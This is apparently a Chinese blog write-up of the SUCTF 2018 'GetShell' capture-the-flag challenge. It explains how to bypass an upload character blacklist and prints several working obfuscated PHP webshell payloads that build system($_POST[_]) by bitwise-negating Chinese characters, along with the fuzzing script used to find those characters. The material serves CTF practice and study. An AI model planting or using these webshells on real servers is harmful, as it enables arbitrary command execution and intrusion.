[SUCTF 2018]GetShell


查看源代码发现源码

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){    保存上传文件在临时文件目录
    $data=substr($contents,5);       切片从第五个字符开始之后的所有字符
    foreach ($black_char as $b) {             看看有没有黑名单有就不给过
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

随便上传了个文件发现后缀被转为php也就是说会被解析成php文件

那么我们要构造一个shell

内容为

assert($_POST[_]);
这个也是盲猜的因为局限性很大必须是php7.2之前的版本才可以,那么还是搞个system来用吧
system($_POST[_]);

这道题原理不难就是fuzz比较难做

先利用ascii原理生成字典

python 复制代码
for i in range(32,127):
    print(chr(i))
php 复制代码
system($_POST[_]);
$_=[]; //array
$__=$_.$_; /arrayarray
$_=($_==$__);//$_=(array==arrayarray) false 0
$__=($_==$_);//$__=(array==array) true 1

$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];//system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];//_POST

$___($$____[_]);//system($_POST[_]);
php 复制代码
<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);
php 复制代码
assert($_POST[_]);
<?php
$__=[];
$_=($__==$__);
$__=~(融);
$___=$__[$_];
$__=~(匆);
$___.=$__[$_].$__[$_];
$__=~(随);
$___.=$__[$_];
$__=~(千);
$___.=$__[$_];
$__=~(苦);
$___.=$__[$_];
$____=~(~(_));
$__=~(诗);
$____.=$__[$_];
$__=~(尘);
$____.=$__[$_];
$__=~(欣);
$____.=$__[$_];
$__=~(站);
$____.=$__[$_];
$_=$$____;
$___($_[_]);

诶那么这里思路就很明确了

基本是和自增差不多的只不多我们这里使用取反来做

$ (  )  .  ;  =  [  ]  _  ~ 

没有东西怎么构造字符串,那么汉字也是在可控范围内的,这是一个特性

php 复制代码
<?php
$str = "在这场绿色转型的浪潮中,生态智慧成为了关键词。未来的城市不再仅仅是钢筋水泥的丛林,而是自然与技术完美融合的生态乐园。绿色建筑,利用太阳能板、雨水收集系统与垂直花园,不仅减少了对自然资源的依赖,还提升了居民的生活质量。智能电网通过高效分配可再生能源,确保了电力供应的清洁与稳定,而无人驾驶公共交通系统则大幅降低了碳排放,重新定义了都市出行的方式。

循环经济的概念深入城市规划的核心,废弃物不再是负担,而是资源循环的宝贵原料。城市垃圾通过高科技分类与处理,转化为能源或新型材料,实现了真正的"变废为宝"。同时,城市农业的兴起,让高楼大厦的屋顶和空闲空间变身成为都市绿洲,为市民提供了新鲜、无公害的食材,缩短了食物供应链,促进了社区的自给自足能力。

然而,这一切变革并非一蹴而就,它需要政策制定者的远见卓识、科学家的不懈探索、企业家的创新实践以及每一位公民的积极参与。公众教育与意识提升成为推动绿色转型不可或缺的力量,通过学校教育、媒体宣传和社会活动,增强大众对于环境保护的责任感与行动力。

面对气候变化的严峻挑战,未来的城市还将进一步探索气候适应性设计,比如建设能够抵御极端天气事件的基础设施,以及发展蓝色基础设施,保护和恢复城市水系,以应对海平面上升和城市内涝问题。

总而言之,未来城市的绿色转型是一场全方位、多层次的社会运动,它要求我们在尊重自然法则的同时,发挥人类的创造力与合作精神。这不仅是对现有生活方式的一次深刻反思,更是对未来世代的一份责任与承诺。在这个过程中,每一座城市、每一个社区乃至每一个个体的选择与努力,都将汇聚成推动地球走向更加绿色、健康、繁荣未来的强大力量。";
$num = strlen($str);
$worl = ~mb_substr($str,0,1,'utf-8');

for($i=0; $i<$num;$i++){
 $worl = mb_substr($str,$i,1,'utf-8');
 $ans = ~$worl;
 if($ans[1]=='s' || $ans[1]=='y'|| $ans[1]=='e' || $ans[1]=='m' || $ans[1]=='t' || $ans[1]=='P' ||$ans[1]=='O' ||$ans[1]=='S' ||$ans[1]=='T' ||$ans[1]=='_'){
  echo $ans[1];
  echo $worl;
  echo "<br>";
}
}
?>
e的<br>P词<br>e的<br>y再<br>m钢<br>O水<br>e的<br>e的<br>O水<br>O少<br>P对<br>e的<br>O民<br>e的<br>T高<br>y再<br>e的<br>e的<br>e的<br>e的<br>_核<br>y再<br>t担<br>e的<br>T高<br>s化<br>e的<br>y农<br>e的<br>T高<br>e的<br>m和<br>O民<br>e的<br>s区<br>e的<br>O就<br>e的<br>P识<br>e的<br>e的<br>P每<br>O民<br>e的<br>P识<br>e的<br>_校<br>m和<br>P对<br>e的<br>P对<br>O气<br>s化<br>e的<br>s挑<br>e的<br>O将<br>O气<br>P比<br>T端<br>O气<br>e的<br>m和<br>O水<br>P对<br>m和<br>y内<br>e的<br>S次<br>e的<br>O尊<br>e的<br>s挥<br>e的<br>P对<br>e的<br>S次<br>P对<br>e的<br>P诺<br>P每<br>P每<br>s区<br>P每<br>e的<br>t择<br>O将<br>e的<br>

上面两个payload是别的师傅构造的这个是我自己构造的

php 复制代码
<?php
$_ = [];
//echo $_;
$__ = $_ . $_;
//echo $__;
$_ = ($_ == $__);   //false 0 没啥用可以不写
$__ = ($_ == $_);   //true 1 全部都用的这个
// var_dump($_);
// var_dump($__);
$___=~化[$__].~再[$__].~化[$__].~担[$__].~的[$__].~和[$__];
//var_dump($___);
$____=~校[$__].~识[$__].~水[$__].~次[$__].~端[$__]; 
var_dump($____);
//$___($$____[_]);
?>

构造$_POST的时候不能直接写我就是贪了然后浪费了一些时间

诶他把<>?过滤了怎么办呢,没关系,我们只要有php头即可正常解析

最后把格式调整一下上传的是这个

<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~化[$__].~再[$__].~化[$__].~担[$__].~的[$__].~和[$__];$____=~校[$__].~识[$__].~水[$__].~次[$__].~端[$__];$___($$____[_]);

那么这道题就可以任意命令执行了

相关推荐
Mr Lee_2 分钟前
android 配置鼠标右键快捷对apk进行反编译
android
天行健PLUS24 分钟前
【经验分享】六西格玛管理培训适合哪些人参加?
经验分享
顾北川_野37 分钟前
Android CALL关于电话音频和紧急电话设置和获取
android·音视频
&岁月不待人&1 小时前
Kotlin by lazy和lateinit的使用及区别
android·开发语言·kotlin
小奥超人1 小时前
PPT文件设置了修改权限,如何取消权?
windows·经验分享·microsoft·ppt·办公技巧
会发光的猪。2 小时前
如何在vscode中安装git详细新手教程
前端·ide·git·vscode
Winston Wood3 小时前
Android Parcelable和Serializable的区别与联系
android·序列化
清风徐来辽3 小时前
Android 项目模型配置管理
android
lucky九年3 小时前
vscode翻译插件
ide·vscode·编辑器
帅得不敢出门3 小时前
Gradle命令编译Android Studio工程项目并签名
android·ide·android studio·gradlew